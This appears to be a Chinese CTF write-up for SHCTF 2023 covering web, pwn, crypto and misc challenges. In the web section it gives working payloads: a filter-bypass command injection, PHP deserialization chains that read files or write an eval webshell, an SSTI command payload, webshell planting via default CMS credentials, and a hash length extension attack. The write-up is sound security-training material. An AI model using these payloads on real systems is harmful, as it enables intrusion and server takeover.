前言
屯了一个月的wp终于能放出来了(
官方wp:https://mp.weixin.qq.com/s/pRGy_yEmyjgTgygEiLSSug
Web
Week1
babyRCE
RCE
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
%09
绕过空格,ta\c
绕过tac,f???
匹配flag
payload:
?rce=ta\c%09/f???
1zzphp
正则溢出
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}
参考ctfshow Web130
上面绕过intval直接用数组就行
由于这里限制了参数c_ode
必须为字符串,所以无法用数组绕过,stripos
必须匹配到2023SHCTF
那么只剩下溢出绕过的方法了
ez_serialize
反序列化pop链
[MRCTF2020]Ezpop的弱化版
<?php
highlight_file(__FILE__);
class A
{
public $var_1;
public function __invoke()
{
include($this->var_1);
}
}
class B
{
public $q;
public function __wakeup()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C
{
public $var;
public $z;
public function __toString()
{
return $this->z->var;
}
}
class D
{
public $p;
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if (isset($_GET['payload'])) {
unserialize($_GET['payload']);
}
出口在class A中的include($this->var_1);
中,
那么为了触发__invoke
,则需要class D的return $function();
为了触发__get
,则需要class C中return $this->z->var;
,这里的var是z
的属性,但是这个属性不存在,所以可以触发
然后为了触发__toString
,就需要class B中的preg_match
(这个会把属性当字符串处理)
所以链子就是B::__wakeup()->C::__toString()->D::__get($key)->A::__invoke()
exp:
<?php
class A
{
public $var_1="php://filter/convert.base64-encode/resource=flag.php";
}
class B
{
public $q;
public function __wakeup()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C
{
public $var;
public $z;
public function __toString()
{
return $this->z->var;
}
}
class D
{
public $p;
public function __get($key)
{
$function = $this->p;
return $function();
}
}
$a=new B();
$a->q=new C();
$a->q->z=new D();
$a->q->z->p=new A();
echo serialize($a);
base64解码得到flag
登录就给flag
找个弱口令字典爆破一下就行了,username应该是admin
逆天,本人当成sql注入,花了一晚上的时间
飞机大战
js
main.js里面找到unicode编码的flag
控制台解码
base64解码得到flag
ezphp
preg_replace和正则e模式
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
$pattern=$_POST['pattern'];
if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
{
$code=$_GET['code'];
preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
echo "you are smart";
}else{
die("try again");
}
}else{
die("it is begin");
}
?>
读环境变量得到flag
preg_replace和正则e模式
这题考的是preg_replace和正则e模式的一些特性:
首先是preg_replace
,这个函数一般有三个参数($pattern ,$replacement ,$subject)
,会搜索subject
中匹配pattern
的部分, 以replacement
进行替换
对于\\1
,两个转义省掉一个就是\1
,在preg_replace中等价于${1}
或者说是$1
,表示第一个被替换掉的内容,
在正常模式下\0
表示被判断的字符串,\1
表示被匹配的第一个字符串,和argc
,argv
类似
我们先以/(.*)/i
(匹配字符串中的任意字符序列)模式来测试一下:
可以看到这里输出了两个print_r()
,但是前者有后面的字符串abc,后者则是空的
猜测是在.*
模式下,preg_replace会进行两次替换,因为*可以表示匹配0次,于是在第一次的时候输出了print_r("")
那么接下来就到了正则e模式上,/ei
表示匹配这一行并且能够进行命令执行,相当于eval
所以我们怎么构造传入的字符串内容呢,为了对应上面的${1}
,我们这里也构造一个类似的调用函数的语句${var_dump(1)}
即可
注:${var_dump(1)}
这个写法好像被弃用了,正确的写法应该是{${var_dump(1)}}
注:这里单引号改为双引号,双引号包裹会解析变量,而单引号不会
同理我们可以执行phpinfo()
生成你的邀请函吧~
burp抓包按格式发过去就行,记得直接发到自己浏览器,然后会下载一张邀请函
POST url/generate_invitation
Content-type: application/json
{
"name": "Yourname",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"
}
Week2
no_wake_up
绕过wakeup
<?php
highlight_file(__FILE__);
class flag{
public $username;
public $code;
public function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if($this->username = "admin"){
include($this->code);
}
}
}
unserialize($_GET['try']);
PHP版本7.0.9,直接CVE-2016-7124绕过wakeup
exp:
<?php
class flag{
public $username="admin";
public $code="php://filter/read=convert.base64-encode/resource=flag.php";
}
$a=new flag();
echo serialize($a);
# O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
payload:
O:4:"flag":3:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
base64解码即可
serialize
反序列化之地址引用
<?php
highlight_file(__FILE__);
class misca{
public $gao;
public $fei;
public $a;
public function __get($key){
$this->miaomiao();
$this->gao=$this->fei;
die($this->a);
}
public function miaomiao(){
$this->a='Mikey Mouse~';
}
}
class musca{
public $ding;
public $dong;
public function __wakeup(){
return $this->ding->dong;
}
}
class milaoshu{
public $v;
public function __tostring(){
echo"misca~musca~milaoshu~~~";
include($this->v);
}
}
function check($data){
if(preg_match('/^O:\d+/',$data)){
die("you should think harder!");
}
else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));
出口在milaoshu::__toString()
的include,那么链子就是musca::__wakeup() -> misca::__get($key) -> milaoshu::__toString()
对$this->gao=$this->fei;
的处理和ISCTF2022的猫和老鼠的考点是一样的,通过地址引用让$a
指向milaoshu()
,die可以起到echo的作用来触发__toString
底下的check函数的检查匹配序列化字符串是否是对象字符串开头,可以在序列化时用array($a)
绕过
非法传参,参数名传入要改为wanna[fl.ag
exp:
<?php
class misca{
public $gao;
public $fei;
public $a;
public function __construct(){
$this->a=&$this->gao;
$this->fei=new milaoshu();
}
}
class musca{
public $ding;
public $dong;
}
class milaoshu{
public $v="php://filter/read=convert.base64-encode/resource=flag.php";
}
$a=new musca();
$a->ding=new misca();
echo serialize(array($a));
ez_ssti
ssti
payload秒了
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
EasyCMS
taoCMS
访问/admin进入登录后台界面
登录账号和密码默认是admin:tao
进入后台选择“文件管理”
直接修改index.php
在最后加上一句话木马
拿到shell,根目录得到flag
MD5的事就拜托了
parse_url变量覆盖 + intval特性 + hash长度扩展攻击
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}
对extract(parse_url($_POST['SHCTF']));
,我们在本地进行构造一下可以得到一个url链子user://pass:SHCTF@hostname:80/path?arg=value#anchor
得到flag的md5值6004faf0b5ed4f8b37aee71566b43e9f
然后用小数绕过intval
,得到flag的长度42
接下来就是哈希长度扩展攻击
这里值得琢磨的是题目直接给了我们md5($flag)
的值,没有带上其它字符串,那么我们知道flag最后一位都是}
,所以这里长度少算一位,把}
作为字符串进行hashpump
然后传参比较时把}
删掉,因为flag就带了}
记得把\x
换成%
ez_rce(复现)
from flask import *
import subprocess
app = Flask(__name__)
def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp
def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)
def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)
def cmd(arg):
subprocess.call(arg)
@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
稍微审计一下可以知道是要用subprocess.call
函数进行命令执行,这个方法有一个参数shell,默认为false
当shell为True时,执行命令时是/bin/sh -c "$cmd"
这样的,可以进行命令注入,而当shell为false时,执行命令时是/bin/cmd arg
这种
Week3
sseerriiaalliizzee
反序列化+绕过死亡代码
终于抢了个三血
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";
}
}
$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
出口在CTF::dosomething
的file_put_contents
链子:Start::__construct -> Start::__toString -> CTF::dosomething
因为底下的反序列化部分有echo,所以可以触发__toString
然后是dosomething,这里需要绕过死亡代码<?php die("+Genshin Impact Start!+");?>
,用base64编码绕过的方式,php伪协议写入一句话木马,注意$part2
的base64里面需要多加两个a
,因为base64在解码的时候是将4个字节转化为3个字节,死亡代码只有phpdie
6个字符参与了解码,所以要补两个a
exp:
<?php
class Start
{
public $barking;
public function __construct()
{
$this->barking = new CTF;
}
}
class CTF
{
public $part1;
public $part2;
public function __construct($part1 = 'php://filter/write=convert.base64-decode/resource=1.php', $part2 = 'aaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==')
{
$this->part1 = $part1;
$this->part2 = $part2;
}
}
$a=new Start();
echo serialize($a);
Pwn
Week1
nc
秒了
hard nc
ls -a
发现隐藏文件.gift,得到前半段flag
cat /gift2/flag2
,base64解码得到后半段flag
showshowway
栈溢出
ida64反编译
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
setbuf(stdin, 0LL);
puts("Do you know overflow better than me?");
puts("Let's try");
vuln();
return 0;
}
vuln函数
int vuln()
{
gets((__int64)&s);
if ( strcmp(y, p) )
{
puts("you lose the game");
exit(0);
}
return getflag();
}
首先我们知道可控的只有要传入的s
的值
在汇编代码中找到p
的值为showshowway
然后发现汇编代码中s
和y
处于bss段连续的地址上
s:从0x6010C0到0x6010FF,长度为64
再多一位就能覆盖到y
的地址上
也就是说要往s
上先传入长度为64的字符串,再输入showshowway即可getshell
用cyclic
生成字符串
Reverse
Week1
signin
ida64打开,查看main函数汇编视图,发现flag
flag:flag{flag1sinarray}
Crypto
Week1
Crypto_Checkin
QZZ|KQbjRRS8QZRQdCYwR4_DoQ7~jyO>0t4R4__aQZQ9|Rz+k_Q!r#mR90+NR4_4NR%>ipO>0s{R90|SQhHKhRz+k^S8Q5JS5|OUQZO}CQfp*dS8P&9R8>k?QZYthRz+k_O>0#>
base85+base64+base32+16进制
flag:flag{Th1s_1s_B4s3_3nc0d3}
凯撒大帝
pvkq{mredsrkyxkx}
凯撒加密,脚本爆破一手
def caesar_decrypt(ciphertext, shift):
"""
凯撒密码解密函数
:param ciphertext: 密文
:param shift: 移位数
:return: 明文
"""
plaintext = ""
for char in ciphertext:
if char.isalpha():
# 将字母转换为ASCII码,并减去65或97,使得A或a的ASCII码为0
ascii_code = ord(char) - shift
# 处理超出字母表范围的ASCII码
if char.isupper():
if ascii_code < 65:
ascii_code += 26
else:
if ascii_code < 97:
ascii_code += 26
# 将ASCII码转换回字符
plaintext += chr(ascii_code)
else:
plaintext += char
return plaintext
ciphertext = "pvkq{mredsrkyxkx}"
for i in range(1, 30):
shift = i
plaintext = caesar_decrypt(ciphertext, shift)
print(plaintext)
flag:flag{chutihaonan}
okk
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook.
Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook.
ook编码,解码网站:https://www.splitbrain.org/services/ook
flag:flag{123456789}
进制
3636366336313637376236313638363636623661366336383662363136383764
两次16进制解码
flag:flag{ahfkjlhkah}
熊斐特
uozt{zgyzhs xrksvi}
搜一下熊斐特,知道是埃特巴什码 - Atbash Cipher
解码网站:https://wtool.com.cn/atbash.html
flag:flag{atbash cipher}
迷雾重重
0010 0100 01 110 1111011 11 111 010 000 0 001101 00 000 001101 0001 0 010 1011 001101 0010 001 10 1111101
摩斯密码,utools的编码工具梭了
flag:FLAG{MORSE_IS_VERY_FUN}
小兔子可爱捏
题目描述:宇宙的终极答案是什么?
U2FsdGVkX1/lKCKZm7Nw9xHLMrKHsbGQuFJU5QeUdASq3Ulcrcv9
你可能会需要一把钥匙,钥匙就是问题的答案。
rabbit编码,宇宙的终极答案是42(即答
即key为42
解码网站:https://www.sojson.com/encrypt_rabbit.html
flag:flag{i_love_technology}
Misc
Week1
真的签到
flag:flag{Welc0me_tO_SHCTF2023}
签到题
base64解码两次得到flag